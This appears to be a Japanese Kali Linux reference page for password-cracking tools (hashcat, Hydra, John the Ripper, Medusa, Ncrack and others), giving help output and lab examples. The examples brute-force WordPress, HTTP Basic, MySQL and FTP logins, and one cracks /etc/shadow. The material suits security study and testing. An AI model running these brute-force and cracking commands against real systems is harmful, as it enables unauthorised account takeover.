     --remove                   |      | Enable removal of hashes once they are cracked       |
     --remove-timer             | Num  | Update input hash file each X seconds                | --remove-timer=30
     --potfile-disable          |      | Do not write potfile                                 |
     --potfile-path             | File | Specific path to potfile                             | --potfile-path=my.pot
     --encoding-from            | Code | Force internal wordlist encoding from X              | --encoding-from=iso-8859-15
     --encoding-to              | Code | Force internal wordlist encoding to X                | --encoding-to=utf-32le
     --debug-mode               | Num  | Defines the debug mode (hybrid only by using rules)  | --debug-mode=4
     --debug-file               | File | Output file for debugging rules                      | --debug-file=good.log
     --induction-dir            | Dir  | Specify the induction directory to use for loopback  | --induction=inducts
     --outfile-check-dir        | Dir  | Specify the outfile directory to monitor for plains  | --outfile-check-dir=x
     --logfile-disable          |      | Disable the logfile                                  |
     --hccapx-message-pair      | Num  | Load only message pairs from hccapx matching X       | --hccapx-message-pair=2
     --nonce-error-corrections  | Num  | The BF size range to replace AP\'s nonce last bytes   | --nonce-error-corrections=16
     --keyboard-layout-mapping  | File | Keyboard layout mapping table for special hash-modes | --keyb=german.hckmap
     --truecrypt-keyfiles       | File | Keyfiles to use, separated with commas               | --truecrypt-keyf=x.png
     --veracrypt-keyfiles       | File | Keyfiles to use, separated with commas               | --veracrypt-keyf=x.txt
     --veracrypt-pim-start      | Num  | VeraCrypt personal iterations multiplier start       | --veracrypt-pim-start=450
     --veracrypt-pim-stop       | Num  | VeraCrypt personal iterations multiplier stop        | --veracrypt-pim-stop=500
 -b, --benchmark                |      | Run benchmark of selected hash-modes                 |
     --benchmark-all            |      | Run benchmark of all hash-modes (requires -b)        |
     --speed-only               |      | Return expected speed of the attack, then quit       |
     --progress-only            |      | Return ideal progress step size and time to process  |
 -c, --segment-size             | Num  | Sets size in MB to cache from the wordfile to X      | -c 32
     --bitmap-min               | Num  | Sets minimum bits allowed for bitmaps to X           | --bitmap-min=24
     --bitmap-max               | Num  | Sets maximum bits allowed for bitmaps to X           | --bitmap-max=24
     --cpu-affinity             | Str  | Locks to CPU devices, separated with commas          | --cpu-affinity=1,2,3
     --hook-threads             | Num  | Sets number of threads for a hook (per compute unit) | --hook-threads=8
     --hash-info                |      | Show information for each hash-mode                  |
     --example-hashes           |      | Alias of --hash-info                                 |
     --backend-ignore-cuda      |      | Do not try to open CUDA interface on startup         |
     --backend-ignore-hip       |      | Do not try to open HIP interface on startup          |
     --backend-ignore-metal     |      | Do not try to open Metal interface on startup        |
     --backend-ignore-opencl    |      | Do not try to open OpenCL interface on startup       |
 -I, --backend-info             |      | Show system/evironment/backend API info              | -I or -II
 -d, --backend-devices          | Str  | Backend devices to use, separated with commas        | -d 1
 -D, --opencl-device-types      | Str  | OpenCL device-types to use, separated with commas    | -D 1
 -O, --optimized-kernel-enable  |      | Enable optimized kernels (limits password length)    |
 -M, --multiply-accel-disable   |      | Disable multiply kernel-accel with processor count   |
 -w, --workload-profile         | Num  | Enable a specific workload profile, see pool below   | -w 3
 -n, --kernel-accel             | Num  | Manual workload tuning, set outerloop step size to X | -n 64
 -u, --kernel-loops             | Num  | Manual workload tuning, set innerloop step size to X | -u 256
 -T, --kernel-threads           | Num  | Manual workload tuning, set thread count to X        | -T 64
     --backend-vector-width     | Num  | Manually override backend vector-width to X          | --backend-vector=4
     --spin-damp                | Num  | Use CPU for device synchronization, in percent       | --spin-damp=10
     --hwmon-disable            |      | Disable temperature and fanspeed reads and triggers  |
     --hwmon-temp-abort         | Num  | Abort if temperature reaches X degrees Celsius       | --hwmon-temp-abort=100
     --scrypt-tmto              | Num  | Manually override TMTO value for scrypt to X         | --scrypt-tmto=3
 -s, --skip                     | Num  | Skip X words from the start                          | -s 1000000
 -l, --limit                    | Num  | Limit X words from the start + skipped words         | -l 1000000
     --keyspace                 |      | Show keyspace base:mod values and quit               |
 -j, --rule-left                | Rule | Single rule applied to each word from left wordlist  | -j 'c'
 -k, --rule-right               | Rule | Single rule applied to each word from right wordlist | -k '^-'
 -r, --rules-file               | File | Multiple rules applied to each word from wordlists   | -r rules/best64.rule
 -g, --generate-rules           | Num  | Generate X random rules                              | -g 10000
     --generate-rules-func-min  | Num  | Force min X functions per rule                       |
     --generate-rules-func-max  | Num  | Force max X functions per rule                       |
     --generate-rules-func-sel  | Str  | Pool of rule operators valid for random rule engine  | --generate-rules-func-sel=ioTlc
     --generate-rules-seed      | Num  | Force RNG seed set to X                              |
 -1, --custom-charset1          | CS   | User-defined charset ?1                              | -1 ?l?d?u
 -2, --custom-charset2          | CS   | User-defined charset ?2                              | -2 ?l?d?s
 -3, --custom-charset3          | CS   | User-defined charset ?3                              |
 -4, --custom-charset4          | CS   | User-defined charset ?4                              |
     --identify                 |      | Shows all supported algorithms for input hashes      | --identify my.hash
 -i, --increment                |      | Enable mask increment mode                           |
     --increment-min            | Num  | Start mask incrementing at X                         | --increment-min=4
     --increment-max            | Num  | Stop mask incrementing at X                          | --increment-max=8
 -S, --slow-candidates          |      | Enable slower (but advanced) candidate generators    |
     --brain-server             |      | Enable brain server                                  |
     --brain-server-timer       | Num  | Update the brain server dump each X seconds (min:60) | --brain-server-timer=300
 -z, --brain-client             |      | Enable brain client, activates -S                    |
     --brain-client-features    | Num  | Define brain client features, see below              | --brain-client-features=3
     --brain-host               | Str  | Brain server host (IP or domain)                     | --brain-host=127.0.0.1
     --brain-port               | Port | Brain server port                                    | --brain-port=13743
     --brain-password           | Str  | Brain server authentication password                 | --brain-password=bZfhCvGUSjRq
     --brain-session            | Hex  | Overrides automatically calculated brain session     | --brain-session=0x2ae611db
     --brain-session-whitelist  | Hex  | Allow given sessions only, separated with commas     | --brain-session-whitelist=0x2ae611db

■ 使用例

root@kali:~# echo "$P$BjlfCiZ7mwif9qwdfpsfDGn5C9tR4I0" > hash.txt
# phpassでハッシュ化されたパスワードを4文字以上5文字以下のアルファベット小文字で総当たりの解析を行う
root@kali:~# hashcat -a 3 -m 400  --increment --increment-min 4 --increment-max 5 hash.txt ?l?l?l?l?l
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 2889/5842 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

[...]

$P$BjlfCiZ7mwif9qwdfpsfDGn5C9tR4I0:pass

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$BjlfCiZ7mwif9qwdfpsfDGn5C9tR4I0
Time.Started.....: Sat Oct 12 09:04:54 2024 (4 secs)
Time.Estimated...: Sat Oct 12 09:04:58 2024 (0 secs)
[...]

Hydra

様々なプロトコルのパスワード認証に対してブルートフォース攻撃を行います。

■ 使用方法

root@kali:~# hydra -h

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don\'t wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -r        use a non-random shuffling method for option -x
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -K        do not redo failed attempts (good for -M mass scanning)
  -q        do not print messages about connection errors
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

■ 使用例

# WordPressのログイン画面にパスワードリスト攻撃を行う
root@kali:~# hydra -L usernames.txt -P passwords.txt -s 80 \
http-post-form://192.168.11.4/wp-login.php:"log=^USER^&pwd=^PASS^":2=:F=

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-16 03:53:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1870 login tries (l:17/p:110), ~117 tries per task
[DATA] attacking http-post-form://192.168.11.4:80/wp-login.php:log=^USER^&pwd=^PASS^:2=:F=
[80][http-post-form] host: 192.168.11.4   login: admin   password: pass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-16 03:54:31

John the Ripper

パスワードの解読を行います。

■ 使用方法

root@kali:~# john --help

Usage: john [OPTIONS] [PASSWORD-FILES]

--help                     Print usage summary
--single[=SECTION[,..]]    "Single crack" mode, using default or named rules
--single=:rule[,..]        Same, using "immediate" rule(s)
--single-seed=WORD[,WORD]  Add static seed word(s) for all salts in single mode
--single-wordlist=FILE     *Short* wordlist with static seed words/morphemes
--single-user-seed=FILE    Wordlist with seeds per username (user:password[s]
                           format)
--single-pair-max=N        Override max. number of word pairs generated (6)
--no-single-pair           Disable single word pair generation
--[no-]single-retest-guess Override config for SingleRetestGuess
--wordlist[=FILE] --stdin  Wordlist mode, read words from FILE or stdin
                  --pipe   like --stdin, but bulk reads, and allows rules
--rules[=SECTION[,..]]     Enable word mangling rules (for wordlist or PRINCE
                           modes), using default or named rules
--rules=:rule[;..]]        Same, using "immediate" rule(s)
--rules-stack=SECTION[,..] Stacked rules, applied after regular rules or to
                           modes that otherwise don\'t support rules
--rules-stack=:rule[;..]   Same, using "immediate" rule(s)
--rules-skip-nop           Skip any NOP ":" rules (you already ran w/o rules)
--loopback[=FILE]          Like --wordlist, but extract words from a .pot file
--mem-file-size=SIZE       Size threshold for wordlist preload (default 2048 MB)
--dupe-suppression         Suppress all dupes in wordlist (and force preload)
--incremental[=MODE]       "Incremental" mode [using section MODE]
--incremental-charcount=N  Override CharCount for incremental mode
--external=MODE            External mode or word filter
--mask[=MASK]              Mask mode using MASK (or default from john.conf)
--markov[=OPTIONS]         "Markov" mode (see doc/MARKOV)
--mkv-stats=FILE           "Markov" stats file
--prince[=FILE]            PRINCE mode, read words from FILE
--prince-loopback[=FILE]   Fetch words from a .pot file
--prince-elem-cnt-min=N    Minimum number of elements per chain (1)
--prince-elem-cnt-max=[-]N Maximum number of elements per chain (negative N is
                           relative to word length) (8)
--prince-skip=N            Initial skip
--prince-limit=N           Limit number of candidates generated
--prince-wl-dist-len       Calculate length distribution from wordlist
--prince-wl-max=N          Load only N words from input wordlist
--prince-case-permute      Permute case of first letter
--prince-mmap              Memory-map infile (not available with case permute)
--prince-keyspace          Just show total keyspace that would be produced
                           (disregarding skip and limit)
--subsets[=CHARSET]        "Subsets" mode (see doc/SUBSETS)
--subsets-required=N       The N first characters of "subsets" charset are
                           the "required set"
--subsets-min-diff=N       Minimum unique characters in subset
--subsets-max-diff=[-]N    Maximum unique characters in subset (negative N is
                           relative to word length)
--subsets-prefer-short     Prefer shorter candidates over smaller subsets
--subsets-prefer-small     Prefer smaller subsets over shorter candidates
--make-charset=FILE        Make a charset, FILE will be overwritten
--stdout[=LENGTH]          Just output candidate passwords [cut at LENGTH]
--session=NAME             Give a new session the NAME
--status[=NAME]            Print status of a session [called NAME]
--restore[=NAME]           Restore an interrupted session [called NAME]
--[no-]crack-status        Emit a status line whenever a password is cracked
--progress-every=N         Emit a status line every N seconds
--show[=left]              Show cracked passwords [if =left, then uncracked]
--show=formats             Show information about hashes in a file (JSON)
--show=invalid             Show lines that are not valid for selected format(s)
--test[=TIME]              Run tests and benchmarks for TIME seconds each
                           (if TIME is explicitly 0, test w/o benchmark)
--stress-test[=TIME]       Loop self tests forever
--test-full=LEVEL          Run more thorough self-tests
--no-mask                  Used with --test for alternate benchmark w/o mask
--skip-self-tests          Skip self tests
--users=[-]LOGIN|UID[,..]  [Do not] load this (these) user(s) only
--groups=[-]GID[,..]       Load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]     Load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX]     Load salts with[out] COUNT [to MAX] hashes, or
--salts=#M[-N]             Load M [to N] most populated salts
--costs=[-]C[:M][,...]     Load salts with[out] cost value Cn [to Mn]. For
                           tunable cost parameters, see doc/OPTIONS
--fork=N                   Fork N processes
--node=MIN[-MAX]/TOTAL     This node\'s number range out of TOTAL count
--save-memory=LEVEL        Enable memory saving, at LEVEL 1..3
--log-stderr               Log to screen instead of file
--verbosity=N              Change verbosity (1-5 or 6 for debug, default 3)
--no-log                   Disables creation and writing to john.log file
--bare-always-valid=Y      Treat bare hashes as valid (Y/N)
--catch-up=NAME            Catch up with existing (paused) session NAME
--config=FILE              Use FILE instead of john.conf or john.ini
--encoding=NAME            Input encoding (eg. UTF-8, ISO-8859-1). See also
                           doc/ENCODINGS.
--input-encoding=NAME      Input encoding (alias for --encoding)
--internal-codepage=NAME   Codepage used in rules/masks (see doc/ENCODINGS)
--target-encoding=NAME     Output encoding (used by format)
--force-tty                Set up terminal for reading keystrokes even if we\'re
                           not the foreground process
--field-separator-char=C   Use 'C' instead of the ':' in input and pot files
--[no-]keep-guessing       Try finding plaintext collisions
--list=WHAT                List capabilities, see --list=help or doc/OPTIONS
--length=N                 Shortcut for --min-len=N --max-len=N
--min-length=N             Request a minimum candidate length in bytes
--max-length=N             Request a maximum candidate length in bytes
--max-candidates=[-]N      Gracefully exit after this many candidates tried.
                           (if negative, reset count on each crack)
--max-run-time=[-]N        Gracefully exit after this many seconds (if negative,
                           reset timer on each crack)
--mkpc=N                   Request a lower max. keys per crypt
--no-loader-dupecheck      Disable the dupe checking when loading hashes
--pot=NAME                 Pot file to use
--regen-lost-salts=N       Brute force unknown salts (see doc/OPTIONS)
--reject-printable         Reject printable binaries
--tune=HOW                 Tuning options (auto/report/N)
--subformat=FORMAT         Pick a benchmark format for --format=crypt
--format=[NAME|CLASS][,..] Force hash of type NAME. The supported formats can
                           be seen with --list=formats and --list=subformats.
                           See also doc/OPTIONS for more advanced selection of
                           format(s), including using classes and wildcards.

■ 使用例

# パスワードファイルのハッシュアルゴリズムがyescryptなのでformatにcrypt（システム標準関数）を指定
root@kali:~# john /etc/shadow --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (hello)
1g 0:00:00:00 DONE 1/3 (2024-10-19 11:42) 3.125g/s 300.0p/s 300.0c/s 300.0C/s hello..hello999993
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

root@kali:~# john /etc/shadow --show
hello:hello:20015:0:99999:7:::

1 password hash cracked, 0 left

GUI版のJohnnyでパスワードを解読

maskprocessor

ブルートフォース攻撃用の単語リストを作成します。

■ 使用方法

root@kali:~# mp64 --help
High-Performance word generator with a per-position configureable charset

Usage: mp64 [options]... mask

* Startup:

  -V,  --version             Print version
  -h,  --help                Print help

* Increment:

  -i,  --increment=NUM:NUM   Enable increment mode. 1st NUM=start, 2nd NUM=stop
                             Example: -i 4:8 searches lengths 4-8 (inclusive)

* Misc:

       --combinations        Calculate number of combinations
       --hex-charset         Assume charset is given in hex
  -q,  --seq-max=NUM         Maximum number of multiple sequential characters
  -r,  --occurrence-max=NUM  Maximum number of occurrence of a character

* Resources:

  -s,  --start-at=WORD       Start at specific position
  -l,  --stop-at=WORD        Stop at specific position

* Files:

  -o,  --output-file=FILE    Output-file

* Custom charsets:

  -1,  --custom-charset1=CS  User-defineable charsets
  -2,  --custom-charset2=CS  Example:
  -3,  --custom-charset3=CS  --custom-charset1=?dabcdef
  -4,  --custom-charset4=CS  sets charset ?1 to 0123456789abcdef

* Built-in charsets:

  ?l = abcdefghijklmnopqrstuvwxyz
  ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  ?d = 0123456789
  ?s =  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  ?a = ?l?u?d?s
  ?b = 0x00 - 0xff

■ 使用例

# 英小文字・英大文字・数字の組み合わせで文字列長5文字の単語リストを作成
root@kali:~# mp64 -1 ?l?u?d ?1?1?1?1?1 -o words.txt
root@kali:~# head -n 10 words.txt
aaaaa
aaaab
aaaac
aaaad
aaaae
aaaaf
aaaag
aaaah
aaaai
aaaaj
root@kali:~# tail -n 10 words.txt
99990
99991
99992
99993
99994
99995
99996
99997
99998
99999

Medusa

HTTP、SMB、SSH、FTP、RDBMSなどのログイン認証に対してブルートフォース攻撃を行います。

■ 使用方法

root@kali:~# medusa

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module\'s usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

root@kali:~# medusa -d

  Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
    + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
    + svn.mod : Brute force module for Subversion sessions : version 2.1
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0

■ 使用例

# HTTP Basic認証にブルートフォース攻撃
root@kali:~# medusa -v 4 -h 192.168.11.4 -U usernames.txt -P passwords.txt -M http -m AUTH BASIC
ACCOUNT FOUND: [http] Host: 192.168.11.4 User: hello Password: hello [SUCCESS]

# MySQLのパスワード認証にブルートフォース攻撃
root@kali:~# medusa -v 4 -h 192.168.11.4 -U usernames.txt -P passwords.txt -M mysql
ACCOUNT FOUND: [http] Host: 192.168.11.4 User: hello Password: hello [SUCCESS]

Name That Hash

300種類以上のハッシュを識別し名前などの情報を表示します。

■ 使用方法

root@kali:~# nth --help

Usage: nth [OPTIONS]

Options:
  -t, --text TEXT      Check one hash, use single quotes \' as inverted commas
                       \" messes up on Linux.
  -f, --file FILENAME  Checks every hash in a newline separated file.
  -g, --greppable      Are you going to grep this output? Prints in JSON
                       format.
  -b64, --base64       Decodes hashes in Base64 before identification. For
                       files with mixed Base64 & non-encoded it attempts
                       base64 first and then falls back to normal hash
                       identification per hash.
  -a, --accessible     Turn on accessible mode, does not print ASCII art. Also
                       does not print very large blocks of text, as this can
                       cause some pain with screenreaders. This reduces the
                       information you get. If you want the least likely
                       feature but no banner, use --no-banner.
  -e, --extreme        Searches for hashes within a string. This mode will get
                       5d41402abc4b2a76b9719d911017c592 from
                       ####5d41402abc4b2a76b9719d911017c592###
  --no-banner          Removes banner from startup.
  --no-john            Don\'t print John The Ripper Information.
  --no-hashcat         Don\'t print Hashcat Information.
  -v, --verbose        Turn on debugging logs. -vvv for maximum logs.
  --help               Show this message and exit.

■ 使用例

root@kali:~# nth -t '$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6' --no-john --no-banner

$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6

Most Likely
bcrypt, HC: 3200
Blowfish(OpenBSD), HC: 3200 Summary: Can be used in Linux Shadow Files.
Woltlab Burning Board 4.x,

root@kali:~# nth -t '$P$984478476IagS59wHZvyQMArzfx58u.' --no-john -g | \
jq '. | to_entries[] | del(.value[].john,.value[].extended,.value[].description) | { (.key): [.value[] | @text "\(.name) ,HC: \(.hashcat)"] }'
{
  "$P$984478476IagS59wHZvyQMArzfx58u.": [
    "Wordpress ≥ v2.6.2 ,HC: 400",
    "Joomla ≥ v2.5.18 ,HC: 400",
    "PHPass' Portable Hash ,HC: 400"
  ]
}

Ncrack

HTTP、SMB、SSH、FTP、POP3、IMAP、RDBMSなどのログイン認証に対してブルートフォース攻撃を行います。

■ 使用方法

root@kali:~# ncrack --help

Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iX <inputfilename>: Input from Nmap\'s -oX XML output format
  -iN <inputfilename>: Input from Nmap\'s -oN Normal output format
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
SERVICE SPECIFICATION:
  Can pass target specific services in <service>://target (standard) notation or
  using -p which will be applied to all hosts in non-standard notation.
  Service arguments can be specified to be host-specific, type of service-specific
  (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
  Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
  -p <service-list>: services will be applied to all non-standard notation hosts
  -m <service>:<options>: options will be applied to all services of this type
  -g <options>: options will be applied to every service globally
  Misc options:
    ssl: enable SSL over this service
    path <name>: used in modules like HTTP ('=' needs escaping if used)
    db <name>: used in modules like MongoDB to specify the database
    domain <name>: used in modules like WinRM to specify the domain
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, unless you append 'ms'
  (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  Service-specific options:
    cl (min connection limit): minimum number of concurrent parallel connections
    CL (max connection limit): maximum number of concurrent parallel connections
    at (authentication tries): authentication attempts per connection
    cd (connection delay): delay <time> between each connection initiation
    cr (connection retries): caps number of service connection attempts
    to (time-out): maximum cracking <time> for service, regardless of success so far
  -T<0-5>: Set timing template (higher is faster)
  --connection-limit <number>: threshold for total concurrent connections
  --stealthy-linear: try credentials using only one connection against each specified host
    until you hit the same host again. Overrides all other timing options.
AUTHENTICATION:
  -U <filename>: username file
  -P <filename>: password file
  --user <username_list>: comma-separated username list
  --pass <password_list>: comma-separated password list
  --passwords-first: Iterate password list for each username. Default is opposite.
  --pairwise: Choose usernames and passwords in pairs.
OUTPUT:
  -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.
  -oA <basename>: Output in the two major formats at once
  -v: Increase verbosity level (use twice or more for greater effect)
  -d[level]: Set or increase debugging level (Up to 10 is meaningful)
  --nsock-trace <level>: Set nsock trace level (Valid range: 0 - 10)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
MISC:
  --resume <file>: Continue previously saved session
  --save <file>: Save restoration file with specific filename
  -f: quit cracking service after one found credential
  -6: Enable IPv6 cracking
  -sL or --list: only list hosts and services
  --datadir <dirname>: Specify custom Ncrack data file location
  --proxy <type://proxy:port>: Make connections via socks4, 4a, http.
  -V: Print version number
  -h: Print this help summary page.
MODULES:
  SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM

■ 使用例

root@kali:~# ncrack -v -f -U users.txt -P passwords.txt ftp://192.168.11.4

Starting Ncrack 0.7 ( http://ncrack.org ) at 2024-10-28 03:13 UTC

Discovered credentials on ftp://192.168.11.4:21 'hello' 'hello'
ftp://192.168.11.4:21 finished.

Discovered credentials for ftp on 192.168.11.4 21/tcp:
192.168.11.4 21/tcp ftp: 'hello' 'hello'

Ncrack done: 1 service scanned in 3.03 seconds.
Probes sent: 1 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

PACK

パスワード分析を行うためのツールキットです。

■ 使用方法

root@kali:~# statsgen --help
Usage: statsgen [options] passwords.txt

Type --help for more options

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit
  -o password.masks, --output=password.masks
                        Save masks and stats to a file
  --hiderare            Hide statistics covering less than 1% of the sample
  -q, --quiet           Don\'t show headers.

  Password Filters:
    --minlength=8       Minimum password length
    --maxlength=8       Maximum password length
    --charset=loweralpha,numeric
                        Password charset filter (comma separated)
    --simplemask=stringdigit,allspecial
                        Password mask filter (comma separated)
						
root@kali:~# maskgen --help
Usage: maskgen pass0.masks [pass1.masks ...] [options]

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit
  -t 86400, --targettime=86400
                        Target time of all masks (seconds)
  -o masks.hcmask, --outputmasks=masks.hcmask
                        Save masks to a file
  --showmasks           Show matching masks

  Individual Mask Filter Options:
    --minlength=8       Minimum password length
    --maxlength=8       Maximum password length
    --mintime=3600      Minimum mask runtime (seconds)
    --maxtime=3600      Maximum mask runtime (seconds)
    --mincomplexity=1   Minimum complexity
    --maxcomplexity=100
                        Maximum complexity
    --minoccurrence=1   Minimum occurrence
    --maxoccurrence=100
                        Maximum occurrence

  Mask Sorting Options:
    --optindex          sort by mask optindex (default)
    --occurrence        sort by mask occurrence
    --complexity        sort by mask complexity

  Check mask coverage:
    --checkmasks=?u?l?l?l?l?l?d,?l?l?l?l?l?d?d
                        check mask coverage
    --checkmasksfile=masks.hcmask
                        check mask coverage in a file

  Miscellaneous options:
    --pps=1000000000    Passwords per Second
    -q, --quiet         Don\'t show headers.
	
root@kali:~# policygen --help
Usage: policygen [options]

Type --help for more options

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit
  -o masks.hcmask, --outputmasks=masks.hcmask
                        Save masks to a file
  --pps=1000000000      Passwords per Second
  --showmasks           Show matching masks
  --noncompliant        Generate masks for noncompliant passwords
  -q, --quiet           Don\'t show headers.

  Password Policy:
    Define the minimum (or maximum) password strength policy that you
    would like to test

    --minlength=8       Minimum password length
